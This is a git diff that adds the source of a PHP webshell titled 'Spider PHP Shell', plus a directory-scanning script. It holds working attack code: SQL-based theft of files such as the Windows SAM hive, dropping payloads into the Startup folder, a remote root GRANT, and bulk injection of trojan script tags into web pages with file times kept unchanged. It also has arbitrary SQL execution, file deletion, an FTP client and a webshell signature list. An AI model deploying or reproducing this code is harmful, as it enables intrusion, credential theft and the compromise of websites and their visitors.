                            +END; + return true; +} + +function Mysql_n() +{ + $MSG_BOX = ''; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; + if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); + else $MSG_BOX = '连接MYSQL失败'; + } + $downfile = 'c:/windows/repair/sam'; + if(!empty($_POST['downfile'])) + { + $downfile = File_Str($_POST['downfile']); + $binpath = bin2hex($downfile); + $query = 'select load_file(0x'.$binpath.')'; + if($result = @mysql_query($query,$conn)) + { + $k = 0; $downcode = ''; + while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} + $filedown = basename($downfile); + if(!$filedown) $filedown = 'spider.tmp'; + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.strlen($downcode)); + echo $downcode; + exit; + } + else $MSG_BOX = '下载文件失败'; + } + $o = isset($_GET['o']) ? $_GET['o'] : ''; + Root_CSS(); +print<< +
                            +
                            +地址 +端口 +用户 +密码 +库名 +
                            +
                            +END; +if($o == 'u') +{ + $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; + if(!empty($_POST['uppath'])) + { + $uppath = $_POST['uppath']; + $query = 'Create TABLE a (cmd text NOT NULL);'; + if(@mysql_query($query,$conn)) + { + if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} + else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} + $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; + } + else $MSG_BOX = '插入临时表失败'; + @mysql_query('Drop TABLE IF EXISTS a;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } +print<<
                            上传路径 +

                            选择文件 +
                            +END; +} +elseif($o == 'd') +{ +print<<

                            下载文件 +
                            +END; +} +else +{ + if(!empty($_POST['msql'])) + { + $msql = $_POST['msql']; + if($result = @mysql_query($msql,$conn)) + { + $MSG_BOX = '执行SQL语句成功
                            '; + $k = 0; + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + } + else $MSG_BOX .= mysql_error(); + } +print<< +function nFull(i){ + Str = new Array(11); + Str[0] = "select version();"; + Str[1] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'"; + Str[2] = "select '' into outfile 'F:/web/bak.php';"; + Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                            +
                            + + +END; +} + if($MSG_BOX != '') echo '
                            '.$MSG_BOX.'
                            '; + else echo ''; + return true; +} + +//MYSQL管理 + +function Mysql_Len($data,$len) +{ + if(strlen($data) < $len) return $data; + return substr_replace($data,'...',$len); +} + +function Mysql_Msg() +{ + $conn = @mysql_connect($_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'],$_COOKIE['m_spideruser'],$_COOKIE['m_spiderpass']); + if($conn) + { +print<< +function Delok(msg,gourl) +{ + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)){window.location = gourl;} +} +function Createok(ac) +{ + if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);'; + if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;'; + if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;'; + return false; +} + +END; + $BOOL = false; + $MSG_BOX = '用户:'.$_COOKIE['m_spideruser'].'      地址:'.$_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'].'      版本:'; + $k = 0; + $result = @mysql_query('select version();',$conn); + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + echo '
                            数据库:'; + $result = mysql_query("SHOW DATABASES",$conn); + while($db = mysql_fetch_array($result)){echo '  ['.$db['Database'].']';} + echo '
                            '; + if(isset($_GET['db'])) + { + mysql_select_db($_GET['db'],$conn); + if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? '执行成功' : '执行失败 '.mysql_error();} + if(is_array($_POST['insql'])) + { + $query = 'INSERT INTO '.$_GET['table'].' ('; + foreach($_POST['insql'] as $var => $key) + { + $querya .= $var.','; + $queryb .= '\''.addslashes($key).'\','; + } + $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');'; + $MSG_BOX = mysql_query($query,$conn) ? '添加成功' : '添加失败 '.mysql_error(); + } + if(is_array($_POST['upsql'])) + { + $query = 'UPDATE '.$_GET['table'].' SET '; + foreach($_POST['upsql'] as $var => $key) + { + $queryb .= $var.'=\''.addslashes($key).'\','; + } + $query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';'; + $MSG_BOX = mysql_query($query,$conn) ? '修改成功' : '修改失败 '.mysql_error(); + } + if(isset($_GET['del'])) + { + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $query = 'DELETE FROM '.$_GET['table'].' WHERE '; + foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';} + $where = $query.substr($queryc, 0, -4).';'; + $MSG_BOX = mysql_query($where,$conn) ? '删除成功' : '删除失败 '.mysql_error(); + } + $action = '?s=r&db='.$_GET['db']; + if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? '删除成功' : '删除失败 '.mysql_error();} + if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];} + if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert']; + echo '
                            '; + echo ' '; + echo ' '; + echo ' '; + echo ' '; + echo '
                            '; + echo '
                            '.$MSG_BOX.'
                            '.$_GET['db'].' ---> '; + if(isset($_GET['table'])) + { + echo ''.$_GET['table'].' '; + echo '[插入]
                            '; + if(isset($_GET['edit'])) + { + if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table']; + echo '
                            '; + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $u = 0; + foreach($good as $var => $key) + { + $queryc .= $var.'=\''.$key.'\' AND '; + $type = @mysql_field_type($result, $u); + $len = @mysql_field_len($result, $u); + echo '
                            '.$var.' '.$type.'('.$len.')
                            '; + $u++; + } + $where = 'WHERE '.substr($queryc, 0, -4); + echo ''; + echo '
                            '; + } + else + { + $query = 'SHOW COLUMNS FROM '.$_GET['table']; + $result = mysql_query($query,$conn); + $fields = array(); + $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn)); + if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20; + echo ''; + echo ''; + while($row = @mysql_fetch_assoc($result)) + { + array_push($fields,$row['Field']); + echo ''; + } + echo ''; + if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;'; + $result = mysql_query($query,$conn); + $v = $p; + while($text = @mysql_fetch_assoc($result)) + { + echo ''; + foreach($fields as $row){echo '';} + echo ''."\r\n";$v++; + } + echo '
                            操作'.$row['Field'].'
                            修改 '; + echo ' 删除 '.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'
                            '; + for($i = 1;$i <= ceil($row_num / 20);$i++){$k = ((int)$_GET['p'] == $i) ? ''.$i.'' : $i;echo '['.$k.'] ';} + echo '
                            '; + } + } + elseif(isset($_GET['insert'])) + { + echo ''.$_GET['insert'].''; + $result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn); + $fieldnum = @mysql_num_fields($result); + echo '
                            '; + for($i = 0;$i < $fieldnum;$i++) + { + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + echo '
                            '.$name.' '.$type.'('.$len.')
                            '; + } + echo '
                            '; + } + else + { + $query = 'SHOW TABLE STATUS'; + $status = @mysql_query($query,$conn); + while($statu = @mysql_fetch_array($status)) + { + $statusize[] = $statu['Data_length']; + $statucoll[] = $statu['Collation']; + } + $query = 'SHOW TABLES FROM '.$_GET['db'].';'; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + $result = @mysql_query($query,$conn); + $k = 0; + while($table = mysql_fetch_row($result)) + { + echo ''; + echo ''; + echo ''."\r\n"; + $k++; + } + echo '
                            表名 操作 字符集 大小
                            '.$table[0].' 插入 删除 '.$statucoll[$k].''.File_Size($statusize[$k]).'
                            '; + } + } + } + else die('连接MYSQL失败,请重新登陆.'); + if(!$BOOL) echo ''; + return false; +} + +function Mysql_o() +{ + ob_start(); + if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) + { + if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('m_spiderhost',$_POST['mhost'],$cookietime); + setcookie('m_spiderport',$_POST['mport'],$cookietime); + setcookie('m_spideruser',$_POST['muser'],$cookietime); + setcookie('m_spiderpass',$_POST['mpass'],$cookietime); + die('正在登陆,请稍候...'); + } + } +print<< +
                            地址
                            +
                            端口
                            +
                            用户
                            +
                            密码
                            +
                            + +END; + ob_end_flush(); + return true; +} + +function Root_Login($MSG_TOP) +{ +print<< + +
                            +
                            +
                            +
                            {$MSG_TOP}
                            +
                            PASS:
                            +
                            +
                            +
                            +
                            + + +END; + return false; +} + +function WinMain() +{ + $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); + $Server_OS = PHP_OS; + $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; + $Server_Alexa = 'http://cn.alexa.com/siteinfo/'.str_replace('www.','',$_SERVER['SERVER_NAME']); +print<< + Spider PHP Shell (SPS-3.0) + + + + + + + + +END; +return false; +} + +if(get_magic_quotes_gpc()) +{ + $_GET = Root_GP($_GET); + $_POST = Root_GP($_POST); +} +if($_GET['s'] == 'logout') +{ + setcookie('admin_spiderpass',NULL); + die(''); +} +if($_COOKIE['admin_spiderpass'] != md5($password)) +{ + ob_start(); + $MSG_TOP = 'LOGIN'; + if(isset($_POST['spiderpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('admin_spiderpass',md5($_POST['spiderpass']),$cookietime); + if(md5($_POST['spiderpass']) == md5($password)){die('');} + + else{$MSG_TOP = 'PASS IS FALSE';} + } + Root_Login($MSG_TOP); + ob_end_flush(); + exit; +} + +if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} +$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); + +switch($s) +{ + case "a" : File_a($p); break; + case "b" : Guama_b(); break; + case "c" : Qingma_c(); break; + case "d" : Tihuan_d(); break; + case "e" : Antivirus_e(); break; + case "f" : Info_f(); break; + case "g" : Exec_g(); break; + case "h" : Com_h(); break; + case "i" : Port_i(); break; + case "j" : Findfile_j(); break; + case "k" : Linux_k(); break; + case "l" : Servu_l(); break; + case "m" : Mysql_m(); break; + case "n" : Mysql_n(); break; + case "o" : Mysql_o(); break; + case "p" : File_Edit($_GET['fp'],$_GET['fn']); break; + case "q" : File_Soup($p); break; + case "r" : Mysql_Msg(); break; + default: WinMain(); break; +} +?> + diff --git "a/php/php\346\211\253\345\217\257\350\257\273\345\217\257\345\206\231\347\233\256\345\275\225\350\204\232\346\234\254.php" "b/php/php\346\211\253\345\217\257\350\257\273\345\217\257\345\206\231\347\233\256\345\275\225\350\204\232\346\234\254.php" new file mode 100644 index 0000000..0d844f2 --- /dev/null +++ "b/php/php\346\211\253\345\217\257\350\257\273\345\217\257\345\206\231\347\233\256\345\275\225\350\204\232\346\234\254.php" @@ -0,0 +1,51 @@ + +
                            + +
                            + + + + + + +END; + if(($h_d = @opendir($p)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($p.'/'.$Filename); + if(is_dir($Filepath)) + { + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filepath = urlencode($Filepath); + echo "\n".''; + $Filename = urlencode($Filename); + echo ''; + echo ''; + echo ' '; + echo ''."\n"; + $NUM_D++; + } + } + @rewinddir($h_d); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(!is_dir($Filepath)) + { + $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filesize = File_Size(@filesize($Filepath)); + if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; + echo "\r\n".' '; + $Filepath = urlencode($Filepath); + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_F++; + + } + } + @closedir($h_d); +print<< +
                            + + + + + + +folders({$NUM_D}) / files({$NUM_F})
                            + +END; + return true; +} + + +//Insert Trojan +function Guama_Pass($length) +{ + $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + $str = ""; + while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); + return $str; +} + +function Guama_Auto($gp,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go) +{ + if(($h_d = @opendir($gp)) == NULL) return false; + if($go) + { + preg_match_all("/\[\-([^~]*?)\-\]/i",$gc,$nc); + $passm = (int)$nc[1][0]; + if((!eregi("^[0-9]{1,2}$",$nc[1][0])) || ($passm > 12)) return false; + } + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if($gl != ''){if(eregi($gl,$Filename)) continue;} + $Filepath = File_Str($gp.'/'.$Filename); + if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go); + if(eregi($gt,$Filename)) + { + $ic = File_Read($Filepath); + if(stristr($ic,$gk)) continue; + if($go) $gc = str_replace($nc[0][0],Guama_Pass($passm),$gc); + if($gd) $ftime = @filemtime($Filepath); + if($incode == '1'){if(!stristr($ic,'')) continue; $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic); $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic);} + if($incode == '2') $ic = $gc."\r\n".$ic; + if($incode == '3') $ic = $ic."\r\n".$gc; + echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                            '."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; + if($gd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Guama_b() +{ + if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) + { + $gk = ''; + $go = false; + $gt = str_replace('.','\\.',$_POST['gt']); + $gl = isset($_POST['gl']) ? str_replace('.','\\.',$_POST['gl']) : ''; + $gd = isset($_POST['gd']) ? true : false; + $gb = ($_POST['gb'] == 'a') ? true : false; + if(isset($_POST['gx'])){$gk = $_POST['gc'];if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')){$temp = explode('[-',$_POST['gc']); $gk = $temp[0]; $go = true;}} + echo Guama_Auto($_POST['gp'],$gt,$gl,$_POST['gc'],$_POST['incode'],$gk,$gd,$gb,$go) ? 'Done' : 'Abort'; + echo '
                            '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} + return true; +} +function autorun(){ + if(document.getElementById('gp').value == ''){alert('path can not be empty');return false;} + if(document.getElementById('gt').value == ''){alert('type can not be empty');return false;} + if(document.getElementById('gc').value == ''){alert('code can not be empty');return false;} + document.getElementById('sform').submit(); +} + +
                            +
                            Path: +
                            +
                            Type: +
                            +
                            Filter: +Open Close
                            +
                            Insert Code: +
                            挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. +
                            Example: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script>
                            +
                            insert before </head> +insert the top of file +insert the end of file
                            +
                            Automatic filter double code keep file time unchanged
                            +
                            applied to current folder,subfolders and files +
                            only applied to current folder
                            +
                            + +END; +return true; +} + +//clean code + +function Qingma_Auto($qp,$qt,$qc,$qd,$qb) +{ + if(($h_d = @opendir($qp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($qp.'/'.$Filename); + if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); + if(eregi($qt,$Filename)) + { + $ic = File_Read($Filepath); + if(!stristr($ic,$qc)) continue; + $ic = str_replace($qc,'',$ic); + if($qd) $ftime = @filemtime($Filepath); + echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                            '."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; + if($qd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Qingma_c() +{ + if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) + { + $qt = str_replace('.','\\.',$_POST['qt']); + $qd = isset($_POST['qd']) ? true : false; + $qb = ($_POST['qb'] == 'a') ? true : false; + echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? 'Done' : 'Abort'; + echo '
                            '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fullll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];} + return true; +} +function autoup(){ + if(document.getElementById('qp').value == ''){alert('path can not be empty');return false;} + if(document.getElementById('qt').value == ''){alert('type can not be empty');return false;} + if(document.getElementById('qc').value == ''){alert('code can not be empty');return false;} + document.getElementById('xform').submit(); +} + +
                            +
                            Path: +
                            +
                            Type: +
                            +
                            Clean Code
                            +
                            keep file time unchanged
                            +
                            applied to current folder,subfolders and files +
                            only applied to current folder
                            +
                            + +END; + return true; +} + +//bulk replace + +function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) +{ + if(($h_d = @opendir($tp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($tp.'/'.$Filename); + if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); + $doing = false; + if(eregi($tt,$Filename)) + { + $ic = File_Read($Filepath); + if($th) + { + if(!stristr($ic,$tca)) continue; + $ic = str_replace($tca,$tcb,$ic); + $doing = true; + } + else + { + preg_match_all("/\'."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; + if($td) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Tihuan_d() +{ + if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) + { + $tt = str_replace('.','\\.',$_POST['tt']); + $td = isset($_POST['td']) ? true : false; + $tb = ($_POST['tb'] == 'a') ? true : false; + $th = ($_POST['th'] == 'a') ? true : false; + if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); + echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? 'Done' : 'Abort'; + echo '
                            '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '
                            Searchment
                            Replacement '; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                            Download Suffix

                               Replacement   '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('path can not be empty');return false;} + if(document.getElementById('tt').value == ''){alert('type can not be empty');return false;} + if(document.getElementById('tca').value == '' || document.getElementById('tcb').value == ''){alert('replacement can not be empty');return false;} + document.getElementById('tform').submit(); +} + +
                            +
                            Path: +
                            +
                            Type: +
                            +
                            Designated Content Of The Repalce File Download Url Of The Replace File
                            +
                            Searchment: 
                            Replacement:
                            +
                            keep file time unchanged
                            +
                            applied to current folder,subfolders and files +
                            only applied to current folder
                            +
                            + +END; + return true; +} + +//clean trojan + +function Antivirus_Auto($sp,$features,$st) +{ + if(($h_d = @opendir($sp)) == NULL) return false; + $ROOT_DIR = File_Mode(); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($sp.'/'.$Filename); + if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st); + if(eregi($st,$Filename)) + { + if($Filepath == File_Str(__FILE__)) continue; + $ic = File_Read($Filepath); + foreach($features as $var => $key) + { + if(stristr($ic,$key)) + { + $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + echo '
                            '.$Filepath.'
                            EditDel】 '; + echo '【'.$Filetime.'】 '.$var.'

                            '; + break; + } + } + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Antivirus_e() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo ' del successfully';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? ' del successfully' : ' del faild';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(__FILE__)) : File_Mode(); + $features_php = array('ftp.class.php'=>'ftp.class.php','cha88.cn'=>'cha88.cn','Security Angel Team'=>'Security Angel Team','read()'=>'->read()','readdir'=>'readdir(','return string soname'=>'returns string soname','eval()'=>'eval(gzinflate(','eval(base64_decode())'=>'eval(base64_decode(','eval($_POST)'=>'eval($_POST','eval($_REQUEST)'=>'eval($_REQUEST','eval ($_)'=>'eval ($_','copy()'=>'copy($_FILES','copy ()'=>'copy ($_FILES','move_uploaded_file()'=>'move_uploaded_file($_FILES','move_uploaded_file ()'=>'move_uploaded_file ($_FILES','str_replace()'=>'str_replace(\'\\\\\',\'/\','); + $features_asx = array('绝对路径'=>'绝对路径','输入马的内容'=>'输入马的内容','fso.createtextfile()'=>'fso.createtextfile(path,true)','<%execute(request())%>'=>'<%execute(request','<%eval request()%>'=>'<%eval request','execute session()'=>'execute session(','--Created!'=>'--Created!','WScript.Shell'=>'WScript.Shell','<%s LANGUAGE = VBScript.Encode %>'=>'<%@ LANGUAGE = VBScript.Encode %>','www.rootkit.net.cn'=>'www.rootkit.net.cn','Process.GetProcesses'=>'Process.GetProcesses','lake2'=>'lake2'); +print<<
                            +Path: + + +
                            +END; + if(!empty($_POST['sp'])) + { + if($_POST['st'] == 'php'){$features_all = $features_php; $st = '\.php|\.inc|\.php4|\.php3|\._hp|\;';} + if($_POST['st'] == 'asx'){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\.cdx|\;';} + if($_POST['st'] == 'ppp'){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.php4|\.php3|\._hp|\.asp|\.asa|\.cer|\.cdx|\.aspx|\.ascx|\;';} + echo Antivirus_Auto($_POST['sp'],$features_all,$st) ? 'Done' : 'Abort'; + } + echo ''; + return true; +} +//search file +function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) +{ + //echo $sfp.'
                            '.$sfc.'
                            '.$sft.'
                            '.$sff.'
                            '.$sfb; + if(($h_d = @opendir($sfp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if(eregi($sft,$Filename)) continue; + $Filepath = File_Str($sfp.'/'.$Filename); + if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); + if($sff) + { + if(stristr($Filename,$sfc)) + { + echo ' '.$Filepath.'
                            '."\r\n"; + ob_flush(); + flush(); + } + } + else + { + $File_code = File_Read($Filepath); + if(stristr($File_code,$sfc)) + { + echo ' '.$Filepath.'
                            '."\r\n"; + ob_flush(); + flush(); + } + } + } + @closedir($h_d); + return true; +} + +function Findfile_j() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo 'del successfully';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? 'del successfully' : 'del faild';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); + $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; + $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; +print<< +
                            Scan Path
                            +
                             File Filter 
                            +
                            Keywords +search filename +search include keywords
                            +
                            applied to current folder,subfolders and files +
                            only applied to current folder
                            +
                            + +END; + if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) + { + echo '
                            '; + $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); + $sff = ($_POST['sff'] == 'a') ? true : false; + $sfb = ($_POST['sfb'] == 'a') ? true : false; + echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? 'Done' : 'Error'; + echo '
                            '; + } + return true; +} +//ftp connect +function filecollect($dir,$filelist) { + $files = ftp_nlist($conn,$dir); + return $files; + } +function ftp_php(){ +$dir = ""; +$ftphost = isset($_POST['ftphost']) ? $_POST['ftphost'] : '127.0.0.1'; +$ftpuser = isset($_POST['ftpuser']) ? $_POST['ftpuser'] : 'root'; +$ftppass = isset($_POST['ftppass']) ? $_POST['ftppass'] : 'root'; +$ftplist = isset($_POST['list']) ? $_POST['list'] : ''; +$ftpfolder = isset($_POST['ftpfolder']) ? $_POST['ftpfolder'] : '/'; +$ftpfolder = strtr($ftpfolder,"\\","/"); +$files = isset($_POST['readfile']) ? $_POST['readfile'] : ''; +print<<
                            connect ftp server with php

                            +

                            +
                            Host: +User: +Pass:

                            + +folder: + +

                            +END; +if($ftplist == 'list'){ +$conn = @ftp_connect($ftphost) or die("could not connect to ftp server"); + if(@ftp_login($conn,$ftpuser,$ftppass)){ + $filelists = @ftp_nlist( $conn, $ftpfolder ); + echo "
                            ";
                            +    echo "current folder is $ftpfolder:
                            "; + if(is_array($filelists)) + { + foreach ($filelists as $file) + { + $file = strtr($file,"\\","/"); + $size_file =@ftp_size($conn, $file); + if ( $size_file == -1) + { + $a=$a.basename($file)."
                            "; + } + else + { + $b=$b.basename($file)." ".$size_file."B
                            "; + } + } + } + echo $a; + echo $b; + echo "
                            "; + } + } +print<< +
                            filename: + +

                            +END; +$readaction = isset($_POST['read']) ? $_POST['read'] : ''; +if ($readaction == 'read') { + $handle = @file_get_contents("ftp://$ftpuser:$ftppass@$ftphost/$files", "r"); + $handle = htmlspecialchars($handle); + $handle = str_replace("\n", "
                            ", $handle); + echo "the content of $files is:

                            "; + echo $handle; + } +print<< +
                            folder: + + +

